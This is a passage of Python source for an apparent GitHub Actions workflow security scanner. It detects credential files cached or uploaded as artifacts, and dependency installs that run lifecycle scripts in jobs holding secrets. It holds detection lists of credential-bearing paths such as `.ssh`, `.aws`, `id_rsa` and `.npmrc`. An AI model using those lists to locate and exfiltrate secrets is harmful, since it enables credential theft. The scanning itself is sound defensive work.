  1872. _NOT_READ_AS_STEPS = ("was not read as steps; some raw-text checks may still "
  1873. "have matched inside it — review it manually")
  1874. _GROUP_GAP_SENTENCE = {
  1875. _GROUP_NOT_A_LIST: (
  1876. "is a `parallel:` group whose value is not a list of steps, so it "
  1877. + _NOT_READ_AS_STEPS),
  1878. _GROUP_TOO_DEEP: (
  1879. "is a `parallel:` group nested more than {depth} groups "
  1880. "deep, so it " + _NOT_READ_AS_STEPS),
  1881. _GROUP_ALSO_A_STEP: (
  1882. "is a `parallel:` group that also carries `run:`/`uses:`, which "
  1883. "GitHub does not accept; its own command and its child steps were "
  1884. "scanned, but review it manually"),
  1885. _GROUP_ALSO_A_STEP_NOT_A_LIST: (
  1886. "is a step that also carries `parallel:`, which GitHub does not "
  1887. "accept; its own command was scanned, but its `parallel:` value is "
  1888. "not a list of steps, so that value " + _NOT_READ_AS_STEPS),
  1889. _GROUP_ALSO_A_STEP_TOO_DEEP: (
  1890. "is a step that also carries `parallel:`, which GitHub does not "
  1891. "accept; its own command was scanned, but it sits more than {depth} "
  1892. "groups deep, so its `parallel:` value " + _NOT_READ_AS_STEPS),
  1893. _GROUP_CHILD_NOT_A_STEP: (
  1894. "is an entry of a `parallel:` group that is not a step (a mapping), "
  1895. "so it " + _NOT_READ_AS_STEPS),
  1896. _GROUP_UNKNOWN_KEY: (
  1897. "is a `parallel:` group carrying a key other than `parallel:`, "
  1898. "`if:`, `name:`, `id:`, `continue-on-error:` or `background:`; its "
  1899. "child steps were scanned, but what that key does to them was not "
  1900. "modelled — review it manually"),
  1901. _GROUP_CYCLE: (
  1902. "is a `parallel:` group whose steps are, through a YAML alias, a list "
  1903. "that already holds this group, so it was not entered again; it "
  1904. + _NOT_READ_AS_STEPS),
  1905. _GROUP_OVER_BUDGET: (
  1906. f"is where the walk of this job passed {_WALK_MAX_ENTRIES:,} step "
  1907. "entries (YAML aliases can repeat one group many times), so this "
  1908. "group and every later group in the job " + _NOT_READ_AS_STEPS),
  1909. _STEP_BACKGROUND_EXPRESSION: (
  1910. "has a `background:` value chosen at run time; it was scanned, and "
  1911. "treated as running in the background until a top-level `wait:` "
  1912. "naming it or `wait-all:` — review it manually"),
  1913. }
  1914. def _parallel_step_stats(
  1915. file_path: Path,
  1916. ) -> tuple[_StepWalkStats, list[str]]:
  1917. """One file's parallel-step census, and a sentence per unreadable group.
  1918. Run once per workflow by `scan()`, separately from the detectors, so the
  1919. counts are not multiplied by the number of detectors that walk steps.
  1920. """
  1921. stats = _StepWalkStats()
  1922. gaps: list[str] = []
  1923. text = _read_text_safe(file_path)
  1924. doc = _parse_yaml_text(text, file_path, quiet=True) if text else None
  1925. for job_name, job in _walk_jobs(doc):
  1926. before = len(stats.malformed or [])
  1927. for _ in _iter_job_steps(job, stats):
  1928. pass
  1929. for label, shape in (stats.malformed or [])[before:]:
  1930. gaps.append(f"jobs.{job_name} step {label} "
  1931. + _GROUP_GAP_SENTENCE[shape].format(
  1932. depth=_WALK_MAX_DEPTH))
  1933. unmatched: list[str] = []
  1934. if text:
  1935. _step_spans(text, unmatched)
  1936. for job_name in unmatched:
  1937. gaps.append(
  1938. f"jobs.{job_name} holds `parallel:` or background steps whose "
  1939. "source lines could not be found, so which of its steps may run "
  1940. "at the same time was not modelled and the order-dependent "
  1941. "checks fell back to declaration order — review it manually")
  1942. return stats, gaps
  1943. def _job_line_in_text(text: str, job_name: str) -> int:
  1944. """Best-effort line number for `<job_name>:` under the top-level `jobs:`.
  1945. The indent class is `[ \\t]`, NOT `\\s`. Under `re.MULTILINE`, `\\s` matches
  1946. a newline, so `^\\s+` could start at a BLANK line and run through the line
  1947. break into the next line's indentation — and `m.start()` then reported the
  1948. blank line above the job key. On cal.com's `pr.yml` that landed the
  1949. reported line inside the PRECEDING job's block, so a P14.19 finding cited
  1950. `jobs.trust-check` at line 160 while its own evidence named `jobs.prepare`.
  1951. A horizontal-only indent class cannot cross a line boundary, so the match
  1952. always starts on the job key's own line.
  1953. """
  1954. pattern = re.compile(rf"^[ \t]+{re.escape(job_name)}\s*:", re.MULTILINE)
  1955. m = pattern.search(text)
  1956. if not m:
  1957. return 1
  1958. return text.count("\n", 0, m.start()) + 1
  1959. _CREDENTIAL_DIR_COMPONENTS = {
  1960. ".aws", ".ssh", ".kube", ".docker", ".gnupg", ".azure", ".gcloud",
  1961. }
  1962. _CREDENTIAL_BASENAMES = {
  1963. ".npmrc", ".netrc", ".pypirc", "credentials", "credentials.json", ".env",
  1964. }
  1965. _CREDENTIAL_BASENAME_GLOBS = (
  1966. "*.pem", "*.key", "id_rsa", "id_rsa*", "id_ed25519", "id_ed25519*",
  1967. "service-account*.json", "*.p12", "*.pfx",
  1968. )
  1969. _CACHE_UPLOAD_PREFIXES = (
  1970. "actions/cache@", "actions/cache/save@", "actions/cache/restore@",
  1971. "actions/upload-artifact@", "actions/upload-pages-artifact@",
  1972. )
  1973. def _path_is_credential_bearing(path_line: str) -> bool:
  1974. p = path_line.strip().strip('"').strip("'")
  1975. if not p:
  1976. return False
  1977. components = [c for c in re.split(r"[\\/]+", p) if c not in ("", "~", ".")]
  1978. if not components:
  1979. return False
  1980. if any(c.lower() in _CREDENTIAL_DIR_COMPONENTS for c in components):
  1981. return True
  1982. base = components[-1].lower()
  1983. if base in _CREDENTIAL_BASENAMES:
  1984. return True
  1985. return any(fnmatch.fnmatch(base, g) for g in _CREDENTIAL_BASENAME_GLOBS)
  1986. def _correlation_credential_file_in_cache_or_artifact(
  1987. file_path: Path,
  1988. ) -> Iterator[RawHit]:
  1989. """P14.19 — a cache or upload step's `path:` matches a known credential
  1990. file/dir, exfiltrating it to cache-restorers / artifact-downloaders."""
  1991. text = _read_text_safe(file_path)
  1992. if not text:
  1993. return
  1994. doc = _parse_yaml_text(text, file_path)
  1995. if not isinstance(doc, dict):
  1996. return
  1997. for job_name, job in _walk_jobs(doc):
  1998. for step in _job_steps(job):
  1999. uses = step.get("uses", "")
  2000. if not isinstance(uses, str) or not any(
  2001. uses.startswith(p) for p in _CACHE_UPLOAD_PREFIXES
  2002. ):
  2003. continue
  2004. with_block = step.get("with") or {}
  2005. if not isinstance(with_block, dict):
  2006. continue
  2007. raw_path = with_block.get("path")
  2008. if not isinstance(raw_path, str):
  2009. continue
  2010. hit_line = next(
  2011. (
  2012. pl.strip() for pl in raw_path.splitlines()
  2013. if _path_is_credential_bearing(pl)
  2014. ),
  2015. None,
  2016. )
  2017. if hit_line is not None:
  2018. line = _job_line_in_text(text, job_name)
  2019. yield RawHit(
  2020. line=line,
  2021. evidence=(
  2022. f"{line:>4}: jobs.{job_name} caches/uploads "
  2023. f"credential-bearing path `{hit_line}` <-- here"
  2024. ),
  2025. match_text=hit_line,
  2026. derived=True,
  2027. )
  2028. # --- P14.25: install scripts executed in a job that holds a live payoff -------
  2029. #
  2030. # Conditioned like the other chain detectors, NOT like a hygiene check: an
  2031. # install command on its own is every repo's CI and flagging it would be noise.
  2032. # The finding is the PAIRING — dependency lifecycle scripts executing where the
  2033. # credentials are.
  2034. # `npm ci`, `npm install`, `npm i`, `pnpm install`, `pnpm i`, `yarn install`,
  2035. # and a bare `yarn` (Yarn Classic installs when called with no command). Bounded
  2036. # on both sides so `mynpm install` or `yarn build` never match.
  2037. #
  2038. # The bare-Yarn arm accepts OPTIONS after `yarn`, because that is how it is
  2039. # actually written in CI — `yarn --frozen-lockfile`, `yarn --production`,
  2040. # `yarn --cwd packages/app`, `yarn --network-timeout 600000` are all installs,
  2041. # and an arm that only accepted a bare `yarn` at end-of-command silently
  2042. # passed over every one of them. An option's separate VALUE is consumed with
  2043. # it (`--cwd subdir`), quoted or not (`--cwd "packages/app with spaces"`),
  2044. # which is what stops the match dying on the space.
  2045. # A trailing SUBCOMMAND still ends the match — `yarn build` and
  2046. # `yarn --cwd subdir build` are not installs, because after the options the
  2047. # arm requires end-of-command, not another word — and the leading negative
  2048. # lookahead drops the informational invocations (`yarn -v`, `yarn -V`,
  2049. # `yarn --version`, `yarn --help`), which run no lifecycle scripts.
  2050. #
  2051. # EVERY arm is additionally anchored in COMMAND POSITION — the manager name has
  2052. # to be the word the shell would actually execute, never a word sitting inside
  2053. # an argument. The old left boundary was a `(?<![\w./-])` lookbehind, which
  2054. # excludes `mynpm` but says nothing about `,` or `=`, so vitejs/vite's
  2055. # `pnpm dlx pkg-pr-new@0.0 publish … --packageManager=pnpm,npm,yarn
  2056. # --commentWithDev` matched the bare-Yarn arm on the `yarn` in that
  2057. # comma-separated flag VALUE. It matched as `yarn --commentWithDev`, the job's
  2058. # manager was read as Yarn, and the cascade from there was total: the repo's
  2059. # real pnpm `allowBuilds` mitigation no longer applied (manager mismatch), a
  2060. # Yarn advisory rendered on a repo with no Yarn in it, and the fix prompt
  2061. # prescribed destructive Yarn edits to a release workflow. `,` and `=` are only
  2062. # two of the characters that can precede a word inside an argument, so the fix
  2063. # is positional rather than another blacklist: a command starts at the start of
  2064. # the string/line or right after `;`, `&`, `|`, or `(` — nowhere else.
  2065. # The one non-shell opener that still puts a command in command position: this
  2066. # matcher is run over RAW workflow lines as well as over parsed scalars, and on
  2067. # a one-line step (`- run: npm ci`) the shell starts right after the `run:` key.
  2068. _RUN_KEY_PREFIX = r"""[ \t]*(?:-[ \t]+)?["']?run["']?[ \t]*:[ \t]*"""
  2069. # `)` closes a `case` arm's pattern (`a) npm ci ;;`) and a subshell; `{` opens a
  2070. # brace group, which shell requires be followed by whitespace (`{ npm ci; }`) —
  2071. # demanding that space is also what keeps brace EXPANSION (`{npm,pnpm}`) out.
  2072. _CMD_START = (
  2073. r"(?:^(?:" + _RUN_KEY_PREFIX + r")?[ \t]*"
  2074. r"|(?<=[\n;&|()])[ \t]*"
  2075. r"|(?<=\{)[ \t]+)"
  2076. )
  2077. # …with the words that can legally precede a command WITHOUT being it: shell
  2078. # keywords, the usual command-modifier wrappers, and leading `VAR=value`
  2079. # assignments. Without this allowance `sudo npm ci`, `env CI=1 pnpm install`
  2080. # and `; then yarn install` would each become a silent false negative, which is
  2081. # the worse failure for this detector (see `_INSTALL_VALUE_FLAGS`).
  2082. #
  2083. # The list is deliberately CLOSED, and is spelled as data rather than inlined
  2084. # into the regex so that closedness is ASSERTABLE. Written as a bare
  2085. # alternation nothing pinned it: `echo` could be added and the whole suite
  2086. # still passed, because the negative cases all put their install several words
  2087. # from the head. `test_the_command_wrapper_list_is_closed` pins this exact set.
  2088. #
  2089. # Membership rule: a word belongs here only if it is a TRANSPARENT process
  2090. # wrapper — it execs the following command in the SAME shell environment, with
  2091. # the same filesystem and the same secrets. That is the property P14.25's
  2092. # payoff leg rests on, and it is why `docker exec` / `docker run` are absent:
  2093. # the install runs in a container, not in the job that holds the secrets.
  2094. _CMD_WRAPPERS = (
  2095. # shell keywords and the negation operator
  2096. "!", "if", "while", "until", "then", "else", "do",
  2097. # transparent command modifiers / process wrappers
  2098. "sudo", "command", "time", "nice", "ionice", "exec", "env",
  2099. "xvfb-run", "nohup", "setsid", "stdbuf", "timeout", "retry",
  2100. )
  2101. # Every piece below has exactly ONE way to read any text. Earlier forms offered
  2102. # two (a bare value that also matched quotes, `--a` as `-`+`-a` or `--`+`a`, an
  2103. # option value that could also be the next wrapper word), and inside the outer
  2104. # repeat a line of repeated `_="" ` made `search()` backtrack exponentially and
  2105. # freeze the scan. Each exclusion below drops a parse that ANOTHER branch
  2106. # reaches at the same position in the same state, so the set of matches, and
  2107. # the order they are tried in, stays what it was; `test_cmd_prefix_redos.py`
  2108. # pins the agreement with the old form and the linear time.
  2109. #
  2110. # A bare run that opens a quoted string the quoted branch can read to its
  2111. # end (`""`, `'a'`, `" A="`, spaces included) is left to the quoted branch.
  2112. _NOT_ONE_QUOTED_WORD = (
  2113. r"(?!\"[^\"]*\"(?![^\s;&|]))(?!'[^']*'(?![^\s;&|]))"
  2114. )
  2115. _CMD_WRAPPER_ALT = "|".join(re.escape(w) for w in _CMD_WRAPPERS)
  2116. # A wrapper option's value, minus the tokens the rest of the prefix already
  2117. # reads from the same spot: a wrapper word (`sudo -x sudo …`), `export NAME=`,
  2118. # and, unless more options or a numeric operand follow, an assignment
  2119. # (`sudo -u A=1 npm ci`) or a numeric operand (`timeout -k 5 npm ci`).
  2120. _WRAPPER_OPT_VALUE = (
  2121. r"(?!(?:" + _CMD_WRAPPER_ALT + r")[ \t])"
  2122. r"(?!export[ \t]+[A-Za-z_][A-Za-z0-9_]*=)"
  2123. r"(?!(?:[A-Za-z_][A-Za-z0-9_]*=[^\s;&|]*|\d[\w.]*)[ \t]+(?![ \t\d-]))"
  2124. r"[^-\s;&|][^\s;&|]*"
  2125. )
  2126. _CMD_PREFIX = (
  2127. r"(?:"
  2128. r"(?:" + _CMD_WRAPPER_ALT + r")"
  2129. # A wrapper option may carry its own VALUE (`sudo -u root`, `nice -n 10`).
  2130. # The value is optional and cannot start with `-`, so `sudo -E npm ci`
  2131. # backtracks out of it rather than eating the manager. `-[\w-]*` reads
  2132. # `-E` and `--preserve-env` alike.
  2133. r"(?:[ \t]+-[\w-]*(?:[ \t]+" + _WRAPPER_OPT_VALUE + r")?){0,16}"
  2134. # …and a bare NUMERIC argument, for the wrappers whose first operand is a
  2135. # duration or a count: `timeout 60 npm ci`, `retry 3 pnpm install`.
  2136. r"(?:[ \t]+\d[\w.]*)?[ \t]+"
  2137. # An assignment value may be empty (`FOO= npm ci`).
  2138. r"|(?:export[ \t]+)?[A-Za-z_][A-Za-z0-9_]*="
  2139. r"(?:\"[^\"]*\"|'[^']*'|" + _NOT_ONE_QUOTED_WORD + r"[^\s;&|]*)[ \t]+"
  2140. # Bounded: no real command carries 64 prefixes or a wrapper 16 options, and
  2141. # the bound caps the work each command-position start can do on a hostile
  2142. # line, so the search over a whole run block stays linear.
  2143. r"){0,64}"
  2144. )
  2145. # A yarn option's value: `=` then any value, or a space then a value that is
  2146. # not itself the next option (`yarn -a -b` reads `-b` as an option only).
  2147. _YARN_OPT_VALUE = (
  2148. r"(?:\"[^\"]*\"|'[^']*'|" + _NOT_ONE_QUOTED_WORD + r"[^\s;&|]+)"
  2149. )
  2150. _INSTALL_CMD_RE = re.compile(
  2151. _CMD_START + _CMD_PREFIX +
  2152. r"(?<![\w./-])(?P<cmd>"
  2153. r"npm\s+(?:ci|install|i)(?![\w-])"
  2154. r"|pnpm\s+(?:install|i)(?![\w-])"
  2155. r"|yarn\s+install(?![\w-])"
  2156. r"|yarn(?!\s+-{0,2}(?:version|help|[vV]|h)(?![\w-]))"
  2157. r"(?:\s+-[\w-]+(?:=" + _YARN_OPT_VALUE + r"|[ ]"
  2158. r"(?!-[\w-]+(?:=[^\s;&|]+)?(?![^\s;&|]))" + _YARN_OPT_VALUE + r")?){0,32}"
  2159. r"\s*(?:$|[\n;&|])"
  2160. r")",
  2161. re.MULTILINE,
  2162. )
  2163. _IGNORE_SCRIPTS_RE = re.compile(r"--ignore-scripts(?![\w-])")
  2164. # --- what makes an install a DEPENDENCY-TREE install --------------------------
  2165. #
  2166. # The catalog's anti-pattern is a compromised package *in the dependency tree*
  2167. # executing its lifecycle script during a bulk install. Two command shapes match
  2168. # the regex above without being that:
  2169. #
  2170. # npm i -g corepack@0.31 # global tool bootstrap — no project tree
  2171. # npm install @playwright/test # one named package, chosen by the author
  2172. #
  2173. # A global install resolves nothing from the repo's lockfile; a named install
  2174. # installs exactly what the workflow author typed. Neither is "whatever the tree
  2175. # resolves to today". Both are EXCLUDED — not silently widened into a different
  2176. # finding: a named single-package install whose own lifecycle script is
  2177. # malicious is a real but DIFFERENT shape (it needs the package's identity and
  2178. # a registry check, not a tree argument), and this detector does not claim it.
  2179. # vercel/next.js alone reported seventeen `npm i -g corepack@0.31` bootstraps
  2180. # and playwright four more named installs before this gate existed.
  2181. _GLOBAL_FLAGS = {"-g", "--global"}
  2182. # Options that consume the NEXT token as their value. Without this list
  2183. # `pnpm install --filter foo` would read `foo` as a package spec and the real
  2184. # tree install would be dropped — a false negative worse than the noise.
  2185. _INSTALL_VALUE_FLAGS = {
  2186. "-C", "--cwd", "--dir", "--prefix", "--filter", "-F", "--filter-prod",
  2187. "--registry", "--network-timeout", "--network-concurrency",
  2188. "--cache-folder", "--modules-folder", "--mutex", "--store-dir",
  2189. "--modules-dir", "--lockfile-dir", "--virtual-store-dir", "--reporter",
  2190. "--loglevel", "--config", "--userconfig", "--cache", "--workspace",
  2191. "--use-yarnrc", "--resolution-mode", "--package-import-method",
  2192. "--node-linker", "--public-hoist-pattern", "--omit", "--include",
  2193. }
  2194. # Options that take NO value. This list exists so the UNKNOWN case can default
  2195. # the safe way round: an option we have never heard of is assumed to consume
  2196. # its value, because the alternative leaves that value sitting as a bare
  2197. # positional, `_PKG_SPEC_RE` reads it as a package name, and the whole
  2198. # tree-install finding vanishes SILENTLY (no `dropped_matches`, no coverage
  2199. # gap). Ten such shapes were proven — `npm ci --maxsockets 3`,
  2200. # `pnpm install --fetch-timeout 60000`, `npm ci --before 2024-01-01` — each an
  2201. # un-reported privileged install. The failure mode of a closed value-flag list
  2202. # is "an option nobody thought of", and it grows with every package-manager
  2203. # release; the failure mode of this default is one extra finding on a named
  2204. # install written with an unfamiliar boolean flag. This file's own rule (see
  2205. # `_INSTALL_VALUE_FLAGS`) is that the false negative is the worse one.
  2206. _INSTALL_BOOLEAN_FLAGS = {
  2207. # npm
  2208. "--save", "-S", "--save-dev", "-D", "--save-prod", "-P", "--save-optional",
  2209. "-O", "--save-exact", "-E", "--save-peer", "--no-save", "--production",
  2210. "--legacy-peer-deps", "--force", "-f", "--ignore-scripts", "--no-audit",
  2211. "--no-fund", "--dry-run", "--global-style", "--package-lock-only",
  2212. "--prefer-offline", "--prefer-online", "--offline", "--audit", "--fund",
  2213. "--strict-peer-deps", "--install-links", "--foreground-scripts",
  2214. "--verbose", "--silent", "--quiet", "--json", "--long", "--parseable",
  2215. "--no-package-lock", "--no-bin-links",
  2216. # pnpm
  2217. "--frozen-lockfile", "--no-frozen-lockfile", "--prod", "--dev",
  2218. "--shamefully-hoist", "--lockfile-only", "--fix-lockfile", "--recursive",
  2219. "-r", "-w", "--workspace-root", "--no-optional", "--ignore-workspace",
  2220. "--strict-peer-dependencies", "--no-strict-peer-dependencies",
  2221. "--side-effects-cache", "--no-verify-store-integrity",
  2222. # yarn
  2223. "--immutable", "--frozen-lockfile", "--ignore-optional",
  2224. "--ignore-engines", "--check-files", "--non-interactive", "--pure-lockfile",
  2225. "--no-lockfile", "--immutable-cache", "--inline-builds", "--ignore-platform",
  2226. }
  2227. # A positional argument shaped like something you can install: a bare or scoped
  2228. # package name with an optional version/tag, or a URL/git/file/github specifier.
  2229. _PKG_SPEC_RE = re.compile(
  2230. r"^(?:(?:git\+|https?://|file:|link:|github:|npm:|workspace:).+"
  2231. r"|(?:@[A-Za-z0-9._-]+/)?[A-Za-z0-9._-]+(?:@[^\s]+)?)$"
  2232. )
  2233. _INSTALL_SUBCOMMANDS = {"install", "i", "ci"}
  2234. def _install_manager(command: str) -> str | None:
  2235. """Which package manager the install command in `command` invokes."""
  2236. m = _INSTALL_CMD_RE.search(command)
  2237. if m is None:
  2238. return None
  2239. # `cmd`, not `group(0)`: the match now opens with the command-position
  2240. # anchor and any `sudo` / `VAR=value` prefix, and reading the manager off
  2241. # that prefix would name the wrong tool.
  2242. head = m.group("cmd").lstrip()
  2243. for name in ("npm", "pnpm", "yarn"):
  2244. if head.startswith(name):
  2245. return name
  2246. return None # pragma: no cover - the regex has only three arms
  2247. def _is_dependency_tree_install(segment: str) -> bool:
  2248. """Is the install matched in `segment` a DEPENDENCY-TREE install?
  2249. False for a global install (`-g` / `--global`) and for one that names an
  2250. explicit package spec — see the block comment above. True for the bare
  2251. tree installs the catalog is about: `npm ci`, `npm install`,
  2252. `pnpm install --frozen-lockfile`, `yarn install`, `yarn --cwd packages/app`.
  2253. """
  2254. m = _INSTALL_CMD_RE.search(segment)
  2255. if m is None:
  2256. return False
  2257. # Slice at the COMMAND, not at the whole match: the match now includes the
  2258. # command-position anchor and any prefix, and `tokens[0]` must be the
  2259. # package manager for the flag walk below to line up.
  2260. tail = segment[m.start("cmd"):]
  2261. try:
  2262. tokens = shlex.split(tail, comments=False)
  2263. except ValueError:
  2264. # Unbalanced quotes across a fragment boundary — fall back to a plain
  2265. # split rather than dropping the command entirely.
  2266. tokens = tail.split()
  2267. if not tokens:
  2268. return False
  2269. tokens = tokens[1:] # the manager itself
  2270. subcommand = None
  2271. if tokens and tokens[0] in _INSTALL_SUBCOMMANDS:
  2272. subcommand = tokens[0]
  2273. tokens = tokens[1:] # ci / install / i
  2274. # Two shapes where a POSITIONAL cannot mean "one named package", so the
  2275. # named-install exclusion must not fire on it:
  2276. # `npm ci foo` — `ci` installs the whole lockfile whatever follows it;
  2277. # `pnpm install ${{ inputs.args }}` — the arguments are not knowable at
  2278. # scan time, and guessing them into an exclusion is a
  2279. # silent drop. Only an explicit `-g` still excludes.
  2280. positionals_can_exclude = subcommand != "ci" and "${{" not in tail
  2281. i = 0
  2282. while i < len(tokens):
  2283. tok = tokens[i]
  2284. if tok in _GLOBAL_FLAGS:
  2285. return False
  2286. if tok.startswith("-"):
  2287. if "=" in tok or tok in _INSTALL_BOOLEAN_FLAGS:
  2288. i += 1
  2289. continue
  2290. # Known value-taking, or unknown — either way assume it consumes
  2291. # the next token, unless that token is itself an option. See
  2292. # `_INSTALL_BOOLEAN_FLAGS` for why unknown defaults this way.
  2293. if i + 1 < len(tokens) and not tokens[i + 1].startswith("-"):
  2294. i += 2
  2295. continue
  2296. i += 1
  2297. continue
  2298. if positionals_can_exclude and _PKG_SPEC_RE.match(tok):
  2299. return False
  2300. i += 1
  2301. return True
  2302. # `secrets.NAME` in any of the job's own text. github.token is excluded: it is
  2303. # present in every job by construction, so treating it as a payoff would make
  2304. # the payoff leg vacuous — the catalog says "beyond github.token".
  2305. _SECRET_REF_RE = re.compile(r"secrets\.([A-Za-z_][A-Za-z0-9_-]*)")
  2306. _GITHUB_TOKEN_NAMES = {"github_token", "githubtoken"}
  2307. def _job_secret_refs(job: Any, doc: Any = None) -> list[str]:
  2308. """Secret names in this job's ENVIRONMENT, excluding a bare GITHUB_TOKEN.
  2309. Scans the job's serialized YAML text rather than specific keys: a secret
  2310. reaches the install step's environment from `env:` at job or step scope,
  2311. from a step's `with:`, or from inside a `run:` scalar, and enumerating
  2312. those keys individually is how a payoff gets missed.
  2313. Workflow-level `env:` counts too, and this is why `doc` is a parameter.
  2314. GitHub merges the workflow's `env:` map into EVERY job's environment, so a
  2315. `NPM_TOKEN: ${{ secrets.NPM_TOKEN }}` declared at the top of the file is
  2316. just as present in the install step's process as one declared on the job —
  2317. but the job's own subtree does not contain it, so the payoff leg read it as
  2318. absent. facebook/react's `compiler_prereleases.yml` declares exactly that
  2319. and its publish job was left unflagged. This mirrors how
  2320. `_job_effective_write_scopes` already consults the workflow-level
  2321. `permissions:` block. (`env:` MERGES, unlike `permissions:`, which
  2322. replaces — so both scopes are read here, not one or the other.)
  2323. """
  2324. if not isinstance(job, dict):
  2325. return []
  2326. scopes: list[Any] = [job]
  2327. if isinstance(doc, dict) and doc.get("env") is not None:
  2328. scopes.append({"env": doc.get("env")})
  2329. blob_parts: list[str] = []
  2330. for scope in scopes:
  2331. try:
  2332. blob_parts.append(
  2333. yaml.safe_dump(scope, default_flow_style=False, sort_keys=False)
  2334. )
  2335. except yaml.YAMLError: # pragma: no cover - defensive
  2336. blob_parts.append(str(scope))
  2337. blob = "\n".join(blob_parts)
  2338. names = []
  2339. for name in _SECRET_REF_RE.findall(blob):
  2340. if name.lower() in _GITHUB_TOKEN_NAMES:
  2341. continue
  2342. if name not in names:
  2343. names.append(name)
  2344. if isinstance(job.get("secrets"), str) and job["secrets"].strip() == "inherit":
  2345. # A called workflow inheriting the caller's whole secret set is the
  2346. # broadest payoff there is; it carries no `secrets.NAME` token to find.
  2347. names.append("<secrets: inherit>")
  2348. return names
  2349. def _write_scopes(perms: Any) -> list[str]:
  2350. """`scope: write` names in a `permissions:` block, or [] .
  2351. `permissions: write-all` (a string) is the whole set; `permissions: {}` and
  2352. read-only blocks yield nothing, which is what makes the negative case
  2353. silent rather than merely lower-severity.
  2354. """
  2355. if isinstance(perms, str):
  2356. return ["write-all"] if perms.strip() == "write-all" else []
  2357. if not isinstance(perms, dict):
  2358. return []
  2359. return [
  2360. str(k) for k, v in perms.items()
  2361. if isinstance(v, str) and v.strip().lower() == "write"
  2362. ]
  2363. def _job_effective_write_scopes(doc: dict[str, Any], job: dict[str, Any]) -> list[str]:
  2364. """Write scopes effective FOR THIS JOB.
  2365. A job's own `permissions:` block replaces the workflow-level one outright
  2366. (GitHub does not merge them), so the workflow block is only consulted when
  2367. the job declares none. Reading both unconditionally would report a write
  2368. scope a job that scoped itself down does not actually hold.
  2369. An ABSENT `permissions:` block yields no write scope, deliberately. What
  2370. the default `GITHUB_TOKEN` grants is a repository/organization setting,
  2371. invisible in this YAML, and GitHub's own default for repositories created
  2372. since 2023 is read-only — so treating silence as write would manufacture a
  2373. payoff leg on the safe default and fire P14.25 on very nearly every repo
  2374. that installs dependencies, which is the hygiene-check shape the catalog
  2375. rejects for this pattern. (The asymmetry with the npm-v12 ruling above is
  2376. the point: there the unknown default is the DANGEROUS one, so not firing
  2377. would hide a live finding; here it is the safe one.) A permissive default
  2378. token is not unreported — the `sec.permissions.workflow-declares` and
  2379. `sec.permissions.write-scoped` config facts score exactly that, and P14.18
  2380. flags where a write scope meets an untrusted trigger.
  2381. """
  2382. if "permissions" in job:
  2383. return _write_scopes(job.get("permissions"))
  2384. return _write_scopes(doc.get("permissions"))
  2385. def _strip_shell_comment(line: str) -> str:
  2386. """`line` with any trailing shell comment removed, QUOTE-AWARE.
  2387. A `#` only opens a comment when it is unquoted and starts a word — the
  2388. shell's own rule. Cutting at the first `#` regardless truncated
  2389. `npm install "github:user/repo#tag" --ignore-scripts` before its flag and
  2390. reported a hardened install as a finding.
  2391. """
  2392. out: list[str] = []
  2393. for ch, is_syntax in _shell_scan(line):
  2394. if is_syntax and ch == "#" and (not out or out[-1].isspace()):
  2395. break
  2396. out.append(ch)
  2397. return "".join(out)
  2398. def _shell_scan(text: str) -> Iterator[tuple[str, bool]]:
  2399. """``(char, is_shell_syntax)`` for each character of a shell command.
  2400. ``is_shell_syntax`` is False for anything the shell would read as DATA —
  2401. inside quotes, or escaped by a backslash. Both callers below need exactly
  2402. this distinction and they need to agree on it, so it is computed once:
  2403. the bugs here have all been one reader treating as syntax what the other
  2404. read as data. Backslash escapes apply unquoted and inside double quotes;
  2405. inside single quotes nothing escapes, which is the shell's own rule.
  2406. """
  2407. quote: str | None = None
  2408. i = 0
  2409. n = len(text)
  2410. while i < n:
  2411. ch = text[i]
  2412. if quote != "'" and ch == "\\" and i + 1 < n:
  2413. yield ch, False
  2414. yield text[i + 1], False
  2415. i += 2
  2416. continue
  2417. if quote:
  2418. yield ch, False
  2419. if ch == quote:
  2420. quote = None
  2421. i += 1
  2422. continue
  2423. if ch in "'\"":
  2424. quote = ch
  2425. yield ch, False
  2426. i += 1
  2427. continue
  2428. yield ch, True
  2429. i += 1
  2430. def _install_command_segments(command: str) -> list[str]:
  2431. """`command` split on its unquoted `;` `&` `&&` `|` `||` separators.
  2432. Used by the P14.25 install detector, which must split on a bare `|` too:
  2433. `--ignore-scripts` protects the command it is WRITTEN on, so in
  2434. `npm ci --ignore-scripts | npm install` the flag covers the first command
  2435. and the piped-to `npm install` is still an unprotected install. (This is a
  2436. DIFFERENT question from `_pipeline_command_segments`, which keeps a pipeline
  2437. whole because a `… | tee file` pipeline is one logical write.) The name was
  2438. once shared between the two, and the pipeline-whole definition silently
  2439. overrode this one — issue #278 — so a bare-pipe install was read as
  2440. protected. They are two named functions now.
  2441. Quote-aware for the same reason as the comment strip: splitting
  2442. `npm install "a|b" --ignore-scripts` on the quoted pipe put the flag in a
  2443. different segment from the install it protects, and the install was
  2444. reported.
  2445. """
  2446. marked = list(_shell_scan(command))
  2447. segments: list[str] = []
  2448. current: list[str] = []
  2449. i = 0
  2450. while i < len(marked):
  2451. ch, is_syntax = marked[i]
  2452. if is_syntax and ch in ";&|":
  2453. segments.append("".join(current))
  2454. current = []
  2455. nxt = marked[i + 1] if i + 1 < len(marked) else None
  2456. i += 2 if nxt and nxt[1] and nxt[0] == ch else 1
  2457. continue
  2458. current.append(ch)
  2459. i += 1
  2460. segments.append("".join(current))
  2461. return segments
  2462. def _shell_commands(lines: list[str]) -> Iterator[tuple[int, str, str]]:
  2463. """``(line_no, verbatim first line, joined command text)`` per COMMAND.
  2464. The unit of analysis is the shell command, not the source line, because a
  2465. trailing backslash continues one command across several lines:
  2466. npm install \\
  2467. --ignore-scripts
  2468. is a single hardened install, and judging its first line alone reports a
  2469. finding the repository does not have. Comments are stripped before the
  2470. continuation is read, and the reported line number / verbatim text stay
  2471. those of the command's FIRST line, so the evidence still points a reader
  2472. at the place the command starts.
  2473. """
  2474. idx = 0
  2475. while idx < len(lines):
  2476. first = idx
  2477. parts: list[str] = []
  2478. while True:
  2479. stripped = _strip_shell_comment(lines[idx])
  2480. parts.append(stripped.rstrip().rstrip("\\"))
  2481. if stripped.rstrip().endswith("\\") and idx + 1 < len(lines):
  2482. idx += 1
  2483. continue
  2484. break
  2485. yield first + 1, lines[first], " ".join(parts)
  2486. idx += 1
  2487. def _is_unprotected_install(command: str) -> bool:
  2488. """Does this shell command line run an install with lifecycle scripts on?
  2489. The single definition of "unprotected install" — the job-level gate and
  2490. the evidence lookup both call it. They used to ask the question at
  2491. different granularities: the gate searched a whole `run:` scalar, so a
  2492. scalar holding `npm ci --ignore-scripts` on one line and a plain
